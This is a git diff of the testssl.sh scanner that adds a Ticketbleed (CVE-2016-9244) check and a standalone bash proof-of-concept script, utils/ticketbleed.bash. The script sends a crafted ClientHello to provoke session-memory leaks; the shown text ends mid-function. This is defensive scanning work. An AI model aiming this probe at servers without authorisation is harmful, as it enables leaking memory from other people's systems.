diff --git a/t/11_hpkp.t b/t/11_hpkp.t
index dc5464b..d37722f 100755
--- a/t/11_hpkp.t
+++ b/t/11_hpkp.t
@@ -14,7 +14,7 @@ my (
 );
 # OK
 pass("Running testssl.sh against ssl.sectionzero.org"); $tests++;
-$out = `./testssl.sh -H --jsonfile tmp.json --color 0 ssl.sectionzero.org`;
+$out = `./testssl.sh --headers --jsonfile tmp.json --color 0 ssl.sectionzero.org`;
 $json = json('tmp.json');
 unlink 'tmp.json';
 
diff --git a/testssl.sh b/testssl.sh
index a61d43c..f7fb32d 100755
--- a/testssl.sh
+++ b/testssl.sh
@@ -161,6 +161,7 @@ TERM_CURRPOS=0                                              # custom line wrappi
 # 0 means (normally) true here. Some of the variables are also accessible with a command line switch, see --help
 
 declare -x OPENSSL OPENSSL_TIMEOUT
+FAST_SOCKET=${FAST_SOCKET:-false}       # EXPERIMENTAL feature to accelerate sockets -- DO NOT USE it for production
 COLOR=${COLOR:-2}                       # 2: Full color, 1: b/w+positioning, 0: no ESC at all
 COLORBLIND=${COLORBLIND:-false}         # if true, swap blue and green in the output
 SHOW_EACH_C=${SHOW_EACH_C:-false}       # where individual ciphers are tested show just the positively ones tested
@@ -952,6 +953,19 @@ hex2ascii() {
           done
 }
 
+# convert decimal number < 256 to hex
+dec02hex() {
+     printf "x%02x" "$1"
+}
+
+# convert decimal number between 256 and < 256*256 to hex
+dec04hex() {
+     local a=$(printf "%04x" "$1")
+     printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
+}
+
+
+
 # trim spaces for BSD and old sed
 count_lines() {
      #echo "${$(wc -l <<< "$1")// /}"
@@ -3409,7 +3423,6 @@ client_simulation_sockets() {
      sleep $USLEEP_SND
 
      sockread_serverhello 32768
-
      tls_hello_ascii=$(hexdump -v -e '16/1 "%02X"' "$SOCK_REPLY_FILE")
      tls_hello_ascii="${tls_hello_ascii%%[!0-9A-F]*}"
 
@@ -6912,14 +6925,17 @@ socksend_sslv2_clienthello() {
 # for SSLv2 to TLS 1.2:
 sockread_serverhello() {
      [[ -z "$2" ]] && maxsleep=$MAX_WAITSOCK || maxsleep=$2
-
      SOCK_REPLY_FILE=$(mktemp $TEMPDIR/ddreply.XXXXXX) || return 7
      dd bs=$1 of=$SOCK_REPLY_FILE count=1 <&5 2>/dev/null &
      wait_kill $! $maxsleep
-
      return $?
 }
 
+#trying a faster version
+sockread_fast() {
+     dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
+}
+
 get_pub_key_size() {
      local pubkey pubkeybits
      local -i i len1 len
@@ -8637,16 +8653,25 @@ run_heartbleed(){
           return 0
      fi
 
-     # determine TLS versions offered <-- needs to come from another place
-     $OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY -tlsextdebug >$TMPFILE 2>$ERRFILE </dev/null
+     if $(has_server_protocol "tls1"); then
+          tls_hexcode="x03, x01"
+     elif $(has_server_protocol "tls1_1"); then
+          tls_hexcode="x03, x02"
+     elif $(has_server_protocol "tls1_2"); then
+          tls_hexcode="x03, x03"
+     elif $(has_server_protocol "ssl3"); then
+          tls_hexcode="x03, x00"
+     else # no protcol for some reason defined, determine TLS versions offered with a new handshake
+          $OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY >$TMPFILE 2>$ERRFILE </dev/null
+          case "$(get_protocol $TMPFILE)" in
+               *1.2)  tls_hexcode="x03, x03" ;;
+               *1.1)  tls_hexcode="x03, x02" ;;
+               TLSv1) tls_hexcode="x03, x01" ;;
+               SSLv3) tls_hexcode="x03, x00" ;;
+          esac
+     fi
+     debugme echo "using protocol $tls_hexcode"
 
-     tls_proto_offered=$(get_protocol $TMPFILE)
-#FIXME: for SSLv3 only we need to set tls_hexcode and the record layer TLS version correctly
-     case $tls_proto_offered in
-          12)  tls_hexcode="x03, x03" ;;
-          11)  tls_hexcode="x03, x02" ;;
-          *) tls_hexcode="x03, x01" ;;
-     esac
      heartbleed_payload=", x18, $tls_hexcode, x00, x03, x01, x40, x00"
 
      client_hello="
@@ -8777,7 +8802,7 @@ ok_ids(){
 
 #FIXME: At a certain point heartbleed and ccs needs to be changed and make use of code2network using a file, then tls_sockets
 run_ccs_injection(){
-     local tls_proto_offered tls_hexcode ccs_message client_hello byte6 sockreply
+     local tls_hexcode ccs_message client_hello byte6 sockreply
      local -i retval ret
      local tls_hello_ascii=""
      local cve="CVE-2014-0224"
@@ -8789,16 +8814,25 @@ run_ccs_injection(){
      [[ $VULN_COUNT -le $VULN_THRESHLD ]] && outln && pr_headlineln " Testing for CCS injection vulnerability " && outln
      pr_bold " CCS"; out " ($cve)                       "
 
-     # determine TLS versions offered <-- needs to come from another place
-     $OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY >$TMPFILE 2>$ERRFILE </dev/null
+     if $(has_server_protocol "tls1"); then
+          tls_hexcode="x03, x01"
+     elif $(has_server_protocol "tls1_1"); then
+          tls_hexcode="x03, x02"
+     elif $(has_server_protocol "tls1_2"); then
+          tls_hexcode="x03, x03"
+     elif $(has_server_protocol "ssl3"); then
+          tls_hexcode="x03, x00"
+     else # no protcol for some reason defined, determine TLS versions offered with a new handshake
+          $OPENSSL s_client $STARTTLS $BUGS -connect $NODEIP:$PORT $PROXY >$TMPFILE 2>$ERRFILE </dev/null
+          case "$(get_protocol $TMPFILE)" in
+               *1.2)  tls_hexcode="x03, x03" ;;
+               *1.1)  tls_hexcode="x03, x02" ;;
+               TLSv1) tls_hexcode="x03, x01" ;;
+               SSLv3) tls_hexcode="x03, x00" ;;
+          esac
+     fi
+     debugme echo "using protocol $tls_hexcode"
 
-     tls_proto_offered=$(get_protocol $TMPFILE)
-     case "$tls_proto_offered" in
-          12)  tls_hexcode="x03, x03" ;;
-          11)  tls_hexcode="x03, x02" ;;
-          *) tls_hexcode="x03, x01" ;;
-#FIXME: for SSLv3 only we need to set tls_hexcode and the record layer TLS version correctly
-     esac
      ccs_message=", x14, $tls_hexcode ,x00, x01, x01"
 
      client_hello="
@@ -8922,6 +8956,203 @@ run_ccs_injection(){
      return $ret
 }
 
+get_session_ticket_tls() {
+     local sessticket_tls=""
+
+     #FIXME: we likely have done this already before (either @ run_server_defaults() or at least the output from a previous handshake) --> would save 1x connect
+     #ATTENTION: we don't do SNI here as we assume this is a vulnerabilty of the TLS stack. If we do SNI here, we'd also need to do it in the ClientHello
+     #           of run_ticketbleed() otherwise the ticket will be different and the whole thing won't work!
+     sessticket_tls="$($OPENSSL s_client $BUGS $OPTIMAL_PROTO $PROXY -connect $NODEIP:$PORT </dev/null 2>$ERRFILE | awk '/TLS session ticket:/,/^$/' | awk '!/TLS session ticket/')"
+     sessticket_tls="$(sed -e 's/^.* - /x/g' -e 's/  .*$//g' <<< "$sessticket_tls" | tr '\n' ',')"
+     sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_tls"
+}
+
+
+# see https://blog.filippo.io/finding-ticketbleed/ |  http://ticketbleed.com/
+run_ticketbleed() {
+     local session_tckt_tls=""
+     local -i len_ch=216                            # fixed len of clienthello below
+     local sid="x00,x0B,xAD,xC0,xDE,x00,"           # some abitratry bytes
+     local len_sid="$(( ${#sid} / 4))"
+     local xlen_sid="$(dec02hex $len_sid)"
+     local -i len_tckt_tls=0
+     local xlen_tckt_tls="" xlen_handshake_record_layer="" xlen_handshake_ssl_layer=""
+     local -i len_handshake_record_layer=0
+     local cve="CVE-2016-9244"
+     local cwe="CWE-200"
+     local hint=""
+     local tls_version=""
+
+     [[ $VULN_COUNT -le $VULN_THRESHLD ]] && outln && pr_headlineln " Testing for Ticketbleed vulnerability " && outln
+     pr_bold " Ticketbleed"; out " ($cve), experiment.  "
+
+     [[ "$SERVICE" != HTTP ]] && prln "--   (applicable only for HTTPS)" && return 0
+
+     if $(has_server_protocol "tls1"); then
+          tls_hexcode="x03, x01"
+     elif $(has_server_protocol "tls1_1"); then
+          tls_hexcode="x03, x02"
+     elif $(has_server_protocol "tls1_2"); then
+          tls_hexcode="x03, x03"
+     elif $(has_server_protocol "ssl3"); then
+          tls_hexcode="x03, x00"
+     else # no protocol for some reason defined, determine TLS versions offered with a new handshake
+          $OPENSSL s_client $BUGS $OPTIMAL_PROTO -connect $NODEIP:$PORT $PROXY $SNI >$TMPFILE 2>$ERRFILE </dev/null
+          case "$(get_protocol $TMPFILE)" in
+               *1.2)  tls_hexcode="x03, x03" ;;
+               *1.1)  tls_hexcode="x03, x02" ;;
+               TLSv1) tls_hexcode="x03, x01" ;;
+               SSLv3) tls_hexcode="x03, x00" ;;
+          esac
+     fi
+     debugme echo "using protocol $tls_hexcode"
+
+     session_tckt_tls="$(get_session_ticket_tls)"
+     debugme echo " session ticket TLS \"$session_tckt_tls\""
+     if [[ "$session_tckt_tls" == "," ]]; then
+          pr_done_best "not vulnerable (OK)"
+          outln ", no session tickets"
+          fileout "ticketbleed" "OK" "Ticketbleed: not vulnerable" "$cve" "$cwe"
+          return 0
+     fi
+
+     len_tckt_tls=${#session_tckt_tls}
+     len_tckt_tls=$(( len_tckt_tls / 4))
+
+     xlen_tckt_tls="$(dec02hex $len_tckt_tls)"
+     len_handshake_record_layer="$(( len_sid + len_ch + len_tckt_tls ))"
+     xlen_handshake_record_layer="$(dec04hex "$len_handshake_record_layer")"
+     len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
+     xlen_handshake_ssl_layer="$(dec04hex "$len_handshake_ssl_layer")"
+
+     if [[ "$DEBUG" -ge 2 ]]; then
+          echo "len_tckt_tls (hex):            $len_tckt_tls ($xlen_tckt_tls)"
+          echo "sid:                           $sid"
+          echo "len_sid (hex)                  $len_sid ($xlen_sid)"
+          echo "len_handshake_record_layer:    $len_handshake_record_layer ($xlen_handshake_record_layer)"
+          echo "len_handshake_ssl_layer:       $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
+          echo "session_tckt_tls:              $session_tckt_tls"
+     fi
+
+     client_hello="
+     # TLS header (5 bytes)
+     ,x16,               # Content type (x16 for handshake)
+     x03, x01,           # TLS version record layer
+                         # Length Secure Socket Layer follows:
+     $xlen_handshake_ssl_layer,
+     # Handshake header
+     x01,                # Type (x01 for ClientHello)
+                         # Length of client hello follows:
+     x00, $xlen_handshake_record_layer,
+     $tls_hexcode,        # TLS Version
+     # Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+     xee, xee, x5b, x90, x9d, x9b, x72, x0b,
+     xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+     xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+     x03, x90, x9f, x77, x04, x33, xff, xff,
+     $xlen_sid,          # Session ID length
+     $sid
+     x00, x66,           # Cipher suites length
+     # Cipher suites (51 suites)
+     xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+     x00, x39, x00, x38, x00, x88, x00, x87,
+     xc0, x0f, xc0, x05, x00, x35, x00, x84,
+     xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+     x00, x16, x00, x13, xc0, x0d, xc0, x03,
+     x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+     xc0, x1e, x00, x33, x00, x32, x00, x9a,
+     x00, x99, x00, x45, x00, x44, xc0, x0e,
+     xc0, x04, x00, x2f, x00, x96, x00, x41,
+     xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+     x00, x05, x00, x04, x00, x15, x00, x12,
+     x00, x09, x00, x14, x00, x11, x00, x08,
+     x00, x06, x00, x03, x00, xff,
+     x01,               # Compression methods length
+     x00,               # Compression method (x00 for NULL)
+     x01, x0b,          # Extensions length
+# Extension: ec_point_formats
+     x00, x0b, x00, x04, x03, x00, x01, x02,
+# Extension: elliptic_curves
+     x00, x0a, x00, x34, x00, x32, x00, x0e,
+     x00, x0d, x00, x19, x00, x0b, x00, x0c,
+     x00, x18, x00, x09, x00, x0a, x00, x16,
+     x00, x17, x00, x08, x00, x06, x00, x07,
+     x00, x14, x00, x15, x00, x04, x00, x05,
+     x00, x12, x00, x13, x00, x01, x00, x02,
+     x00, x03, x00, x0f, x00, x10, x00, x11,
+# Extension: SessionTicket TLS
+     x00, x23,
+# length of SessionTicket TLS
+     x00, $xlen_tckt_tls,
+# Session Ticket
+     $session_tckt_tls                       # here we have the comma already
+# Extension: Heartbeat
+     x00, x0f, x00, x01, x01"
+
+     fd_socket 5 || return 6
+     debugme tmln_out "\nsending client hello "
+     socksend "$client_hello" 0
+
+     debugme tmln_out "\nreading server hello (ticketbleed reply)"
+     if "$FAST_SOCKET"; then
+          tls_hello_ascii=$(sockread_fast 32768)
+     else
+          sockread_serverhello 32768 $CCS_MAX_WAITSOCK
+          tls_hello_ascii=$(hexdump -v -e '16/1 "%02X"' "$SOCK_REPLY_FILE")
+     fi
+     [[ "$DEBUG" -ge 5 ]] && echo "$tls_hello_ascii"
+
+     if [[ "$DEBUG" -ge 4 ]]; then
+          echo "============================="
+          echo "$tls_hello_ascii"
+          echo "============================="
+     fi
+
+     if [[ "${tls_hello_ascii:0:2}" == "16" ]]; then
+          debugme echo -n "Handshake (TLS version: ${tls_hello_ascii:2:4}), "
+          if [[ "${tls_hello_ascii:10:6}" == 020000 ]]; then
+               debugme echo -n "ServerHello -- "
+          else
+               debugme echo -n "Message type: ${tls_hello_ascii:10:6} -- "
+          fi
+          sid_detected="${tls_hello_ascii:88:32}"
+          sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$sid")
+          if [[ "$DEBUG" -ge 2 ]]; then
+               echo
+               echo "TLS version, record layer: ${tls_hello_ascii:18:4}"
+               echo "Random bytes / timestamp:  ${tls_hello_ascii:22:64}"
+               echo "Session ID:                $sid_detected"
+          fi
+          if grep -q $sid_input <<< "$sid_detected"; then
+               pr_svrty_critical "VULNERABLE (NOT ok)"
+               fileout "ticketbleed" "CRITICAL" "Ticketbleed: VULNERABLE" "$cve" "$cwe" "$hint"
+          else
+               out "likely "
+               pr_done_best "not vulnerable (OK)"
+               out " -- but received a session ID back which shouldn't happen"
+               fileout "ticketbleed" "OK" "Ticketbleed: vulnerable, but with a session ID reply" "$cve" "$cwe"
+          fi
+     elif [[ "${tls_hello_ascii:0:2}" == "15" ]]; then
+          debugme echo -n "TLS Alert ${tls_hello_ascii:10:4} (TLS version: ${tls_hello_ascii:2:4}) -- "
+          pr_done_best "not vulnerable (OK)"
+          fileout "ticketbleed" "OK" "Ticketbleed: not vulnerable" "$cve" "$cwe"
+     else
+          ret=1
+          pr_warning "test failed "
+          out "around line $LINENO (debug info: ${tls_hello_ascii:0:2}, ${tls_hello_ascii:2:10})"
+          fileout "ticketbleed" "WARN" "Ticketbleed: test failed, around $LINENO (debug info: ${tls_hello_ascii:0:2}, ${tls_hello_ascii:2:10})" "$cve" "$cwe"
+     fi
+     outln
+
+     if [[ "$DEBUG" -ge 1 ]]; then
+          echo $tls_hello_ascii >$FUNCNAME.txt
+          tmpfile_handle $FUNCNAME.txt
+     fi
+     close_socket
+     return $ret
+}
+
+
 run_renego() {
 # no SNI here. Not needed as there won't be two different SSL stacks for one IP
      local legacycmd=""
@@ -10651,14 +10882,15 @@ single check as <options>  ("$PROG_NAME  URI" does everything except -E):
      -x, --single-cipher <pattern> tests matched <pattern> of ciphers
                                    (if <pattern> not a number: word match)
      -c, --client-simulation       test client simulations, see which client negotiates with cipher and protocol
-     -H, --header, --headers       tests HSTS, HPKP, server/app banner, security headers, cookie, reverse proxy, IPv4 address
+     -h, --header, --headers       tests HSTS, HPKP, server/app banner, security headers, cookie, reverse proxy, IPv4 address
 
      -U, --vulnerable              tests all (of the following) vulnerabilities (if applicable)
-     -B, --heartbleed              tests for heartbleed vulnerability
+     -H, --heartbleed              tests for heartbleed vulnerability
      -I, --ccs, --ccs-injection    tests for CCS injection vulnerability
+     -T, --ticketbleed             tests for Ticketbleed vulnerability in BigIP loadbalancers
      -R, --renegotiation           tests for renegotiation vulnerabilities
      -C, --compression, --crime    tests for CRIME vulnerability (TLS compression issue)
-     -T, --breach                  tests for BREACH vulnerability (HTTP compression issue)
+     -B, --breach                  tests for BREACH vulnerability (HTTP compression issue)
      -O, --poodle                  tests for POODLE (SSL) vulnerability
      -Z, --tls-fallback            checks TLS_FALLBACK_SCSV mitigation
      -W, --sweet32                 tests 64 bit block ciphers (3DES, RC2 and IDEA): SWEET32 vulnerability
@@ -10867,7 +11099,7 @@ EOF
              modification under GPLv2 permitted.
       USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
 
-       Please file bugs @
+       Please file bugs @ 
 EOF
 )
      bb3=$(cat <<EOF
@@ -11451,36 +11683,46 @@ sclient_auth() {
 # The first try in the loop is empty as we prefer not to specify always a protocol if we can get along w/o it
 #
 determine_optimal_proto() {
-     local all_failed
+     local all_failed=true
      local sni=""
-
-     #TODO: maybe query known openssl version before this workaround. 1.0.1 doesn't need this
+     local tmp=""
 
      >$ERRFILE
      if [[ -n "$1" ]]; then
-          # starttls workaround needed see https://github.com/drwetter/testssl.sh/issues/188
-          # kind of odd
+          # starttls workaround needed see https://github.com/drwetter/testssl.sh/issues/188 -- kind of odd
           for STARTTLS_OPTIMAL_PROTO in -tls1_2 -tls1 -ssl3 -tls1_1 -ssl2; do
                $OPENSSL s_client $STARTTLS_OPTIMAL_PROTO $BUGS -connect "$NODEIP:$PORT" $PROXY -msg -starttls $1 </dev/null >$TMPFILE 2>>$ERRFILE
                if sclient_auth $? $TMPFILE; then
-                    all_failed=1
+                    all_failed=false
                     break
                fi
-               all_failed=0
+               all_failed=true
           done
-          [[ $all_failed -eq 0 ]] && STARTTLS_OPTIMAL_PROTO=""
+          "$all_failed" && STARTTLS_OPTIMAL_PROTO=""
           debugme echo "STARTTLS_OPTIMAL_PROTO: $STARTTLS_OPTIMAL_PROTO"
      else
           for OPTIMAL_PROTO in '' -tls1_2 -tls1 -ssl3 -tls1_1 -ssl2; do
                [[ "$OPTIMAL_PROTO" =~ ssl ]] && sni="" || sni=$SNI
                $OPENSSL s_client $OPTIMAL_PROTO $BUGS -connect "$NODEIP:$PORT" -msg $PROXY $sni </dev/null >$TMPFILE 2>>$ERRFILE
                if sclient_auth $? $TMPFILE; then
-                    all_failed=1
+                    # we use the successful handshake at least to get one valid protocol supported -- it saves us time later
+                    if [[ -z "$OPTIMAL_PROTO" ]]; then
+                         # convert to openssl terminology
+                         tmp=$(get_protocol $TMPFILE)
+                         tmp=${tmp/\./_}
+                         tmp=${tmp/v/}
+                         tmp="$(tolower $tmp)"
+                         add_tls_offered "$tmp"
+                    else
+                         add_tls_offered "${OPTIMAL_PROTO/-/}"
+                    fi
+                    debugme echo "one proto determined: $tmp"
+                    all_failed=false
                     break
                fi
-               all_failed=0
+               all_failed=true
           done
-          [[ $all_failed -eq 0 ]] && OPTIMAL_PROTO=""
+          "$all_failed" && OPTIMAL_PROTO=""
           debugme echo "OPTIMAL_PROTO: $OPTIMAL_PROTO"
           if [[ "$OPTIMAL_PROTO" == "-ssl2" ]]; then
                prln_magenta "$NODEIP:$PORT appears to only support SSLv2."
@@ -11490,7 +11732,7 @@ determine_optimal_proto() {
      fi
      grep -q '^Server Temp Key' $TMPFILE && HAS_DH_BITS=true     # FIX #190
 
-     if [[ $all_failed -eq 0 ]]; then
+     if "$all_failed"; then
           outln
           if "$HAS_IPv6"; then
                pr_bold " Your $OPENSSL is not IPv6 aware, or $NODEIP:$PORT "
@@ -11889,6 +12131,7 @@ initialize_globals() {
      do_lucky13=false
      do_breach=false
      do_ccs_injection=false
+     do_ticketbleed=false
      do_cipher_per_proto=false
      do_crime=false
      do_freak=false
@@ -11931,6 +12174,7 @@ set_scanning_defaults() {
      do_breach=true
      do_heartbleed=true
      do_ccs_injection=true
+     do_ticketbleed=true
      do_crime=true
      do_freak=true
      do_logjam=true
@@ -11956,7 +12200,7 @@ query_globals() {
      local gbl
      local true_nr=0
 
-     for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_cipher_per_proto do_crime \
+     for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_ticketbleed do_cipher_per_proto do_crime \
                do_freak do_logjam do_drown do_header do_heartbleed do_mx_all_ips do_pfs do_protocols do_rc4 do_renego \
                do_std_cipherlists do_server_defaults do_server_preference do_spdy do_http2 do_ssl_poodle do_tls_fallback_scsv \
                do_sweet32 do_client_simulation do_cipher_match do_tls_sockets do_mass_testing do_display_only; do
@@ -11969,7 +12213,7 @@ query_globals() {
 debug_globals() {
      local gbl
 
-     for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_cipher_per_proto do_crime \
+     for gbl in do_allciphers do_vulnerabilities do_beast do_lucky13 do_breach do_ccs_injection do_ticketbleed do_cipher_per_proto do_crime \
                do_freak do_logjam do_drown do_header do_heartbleed do_mx_all_ips do_pfs do_protocols do_rc4 do_renego \
                do_std_cipherlists do_server_defaults do_server_preference do_spdy do_http2 do_ssl_poodle do_tls_fallback_scsv \
                do_sweet32 do_client_simulation do_cipher_match do_tls_sockets do_mass_testing do_display_only; do
@@ -12107,7 +12351,7 @@ parse_cmd_line() {
                -P|--server[_-]preference|--preference)
                     do_server_preference=true
                     ;;
-               -H|--header|--headers)
+               -h|--header|--headers)
                     do_header=true
                     ;;
                -c|--client-simulation)
@@ -12117,6 +12361,7 @@ parse_cmd_line() {
                     do_vulnerabilities=true
                     do_heartbleed=true
                     do_ccs_injection=true
+                    do_ticketbleed=true
                     do_renego=true
                     do_crime=true
                     do_breach=true
@@ -12129,9 +12374,9 @@ parse_cmd_line() {
                     do_beast=true
                     do_lucky13=true
                     do_rc4=true
-                    VULN_COUNT=10
+                    VULN_COUNT=16
                     ;;
-               -B|--heartbleed)
+               -H|--heartbleed)
                     do_heartbleed=true
                     let "VULN_COUNT++"
                     ;;
@@ -12139,6 +12384,10 @@ parse_cmd_line() {
                     do_ccs_injection=true
                     let "VULN_COUNT++"
                     ;;
+               -T|--ticketbleed)
+                    do_ticketbleed=true
+                    let "VULN_COUNT++"
+                    ;;
                -R|--renegotiation)
                     do_renego=true
                     let "VULN_COUNT++"
@@ -12147,7 +12396,7 @@ parse_cmd_line() {
                     do_crime=true
                     let "VULN_COUNT++"
                     ;;
-               -T|--breach)
+               -B|--breach)
                     do_breach=true
                     let "VULN_COUNT++"
                     ;;
@@ -12486,6 +12735,7 @@ lets_roll() {
      fileout_section_header $section_number true && ((section_number++))
      $do_heartbleed && { run_heartbleed; ret=$(($? + ret)); time_right_align run_heartbleed; }
      $do_ccs_injection && { run_ccs_injection; ret=$(($? + ret)); time_right_align run_ccs_injection; }
+     $do_ticketbleed && { run_ticketbleed; ret=$(($? + ret)); time_right_align run_ticketbleed; }
      $do_renego && { run_renego; ret=$(($? + ret)); time_right_align run_renego; }
      $do_crime && { run_crime; ret=$(($? + ret)); time_right_align run_crime; }
      $do_breach && { run_breach "$URL_PATH" ; ret=$(($? + ret));  time_right_align run_breach; }
diff --git a/utils/ticketbleed.bash b/utils/ticketbleed.bash
new file mode 100755
index 0000000..df16f91
--- /dev/null
+++ b/utils/ticketbleed.bash
@@ -0,0 +1,285 @@
+#!/bin/bash
+
+# POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
+trap "cleanup" QUIT EXIT
+
+[[ -z "$1" ]] && exit 1
+
+# insert some hexspeak here :-)
+SID="x00,x00,x0B,xAD,xC0,xDE,"               # don't forget the trailing comma
+
+NODE="$1"
+PORT="443"
+TLSV=${2:-01}                                # TLS 1.0=x01  1.1=0x02, 1.2=0x3
+MAXSLEEP=10
+SOCKREPLY=""
+COL_WIDTH=32
+DEBUG=${DEBUG:-"false"}
+HELLO_READBYTES=${HELLO_READBYTES:-65535}
+
+dec2hex() { printf "x%02x" "$1"; }
+dec2hexB() {
+     a=$(printf "%04x" "$1")
+     printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
+}
+
+LEN_SID=$(( ${#SID} / 4))                         # the real length in bytes
+XLEN_SID="$(dec2hex $LEN_SID)"
+
+red=$(tput setaf 1; tput bold)
+green=$(tput bold; tput setaf 2)
+lgreen=$(tput setaf 2)
+brown=$(tput setaf 3)
+blue=$(tput setaf 4)
+magenta=$(tput setaf 5)
+cyan=$(tput setaf 6)
+grey=$(tput setaf 7)
+yellow=$(tput setaf 3; tput bold)
+normal=$(tput sgr0)
+
+send_clienthello() {
+     local -i len_ch=216                          # len of clienthello, exlcuding TLS session ticket and SID (record layer)
+     local session_tckt_tls="$1"
+     local -i len_tckt_tls="${#1}"
+     local xlen_tckt_tls=""
+
+     len_tckt_tls=$(( len_tckt_tls / 4))
+     xlen_tckt_tls="$(dec2hex $len_tckt_tls)"
+
+     local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))"
+     local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")"
+     local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
+     local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")"
+
+     if $DEBUG; then
+          echo "len_tckt_tls (hex):            $len_tckt_tls ($xlen_tckt_tls)"
+          echo "SID:                           $SID"
+          echo "LEN_SID (XLEN_SID)             $LEN_SID ($XLEN_SID)"
+          echo "len_handshake_record_layer:    $len_handshake_record_layer ($xlen_handshake_record_layer)"
+          echo "len_handshake_ssl_layer:       $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
+          echo "session_tckt_tls:              $session_tckt_tls"
+     fi
+
+     client_hello="
+# TLS header (5 bytes)
+     ,x16,               # Content type (x16 for handshake)
+     x03, x01,           # TLS Version
+                         # Length Secure Socket Layer follow:
+     $xlen_handshake_ssl_layer,
+# Handshake header
+     x01,                # Type (x01 for ClientHello)
+                         # Length of client hello follows:
+     x00, $xlen_handshake_record_layer,
+     x03, x$TLSV,        # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+     xee, xee, x5b, x90, x9d, x9b, x72, x0b,
+     xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+     xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+     x03, x90, x9f, x77, x04, x33, xff, xff,
+     $XLEN_SID,          # Session ID length
+     $SID
+     x00, x66,             # Cipher suites length
+# Cipher suites (51 suites)
+     xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+     x00, x39, x00, x38, x00, x88, x00, x87,
+     xc0, x0f, xc0, x05, x00, x35, x00, x84,
+     xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+     x00, x16, x00, x13, xc0, x0d, xc0, x03,
+     x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+     xc0, x1e, x00, x33, x00, x32, x00, x9a,
+     x00, x99, x00, x45, x00, x44, xc0, x0e,
+     xc0, x04, x00, x2f, x00, x96, x00, x41,
+     xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+     x00, x05, x00, x04, x00, x15, x00, x12,
+     x00, x09, x00, x14, x00, x11, x00, x08,
+     x00, x06, x00, x03, x00, xff,
+     x01,               # Compression methods length
+     x00,               # Compression method (x00 for NULL)
+     x01, x0b,          # Extensions length
+# Extension: ec_point_formats
+     x00, x0b, x00, x04, x03, x00, x01, x02,
+# Extension: elliptic_curves
+     x00, x0a, x00, x34, x00, x32, x00, x0e,
+     x00, x0d, x00, x19, x00, x0b, x00, x0c,
+     x00, x18, x00, x09, x00, x0a, x00, x16,
+     x00, x17, x00, x08, x00, x06, x00, x07,
+     x00, x14, x00, x15, x00, x04, x00, x05,
+     x00, x12, x00, x13, x00, x01, x00, x02,
+     x00, x03, x00, x0f, x00, x10, x00, x11,
+# Extension: SessionTicket TLS
+     x00, x23,
+# length of SessionTicket TLS
+     x00, $xlen_tckt_tls,
+# Session Ticket
+     $session_tckt_tls                       # here we have the comma aleady
+# Extension: Heartbeat
+     x00, x0f, x00, x01, x01"
+
+     msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
+     socksend "$msg" $TLSV
+}
+
+
+parse_hn_port() {
+     # strip "https", supposed it was supplied additionally
+     grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")"
+
+     # strip trailing urlpath
+     NODE=$(sed -e 's/\/.*$//' <<< "$NODE")
+
+     # determine port, supposed it was supplied additionally
+     grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE")
+}
+
+wait_kill(){
+     pid=$1
+     maxsleep=$2
+     while true; do
+          if ! ps $pid >/dev/null ; then
+               return 0  # didn't reach maxsleep yet
+          fi
+          sleep 1
+          maxsleep=$((maxsleep - 1))
+          test $maxsleep -eq 0 && break
+     done                # needs to be killed
+     kill $pid >&2 2>/dev/null
+     wait $pid 2>/dev/null
+     return 3            # killed
+}
+
+
+socksend() {
+     local len
+
+     data="$(echo -n $1)"
+     if "$DEBUG"; then
+          echo "\"$data\""
+          len=$(( $(wc -c <<< "$data") / 4 ))
+          echo -n "length: $len / "
+          dec2hexB $len
+          echo
+     fi
+     echo -en "$data" >&5
+}
+
+
+sockread_nonblocking() {
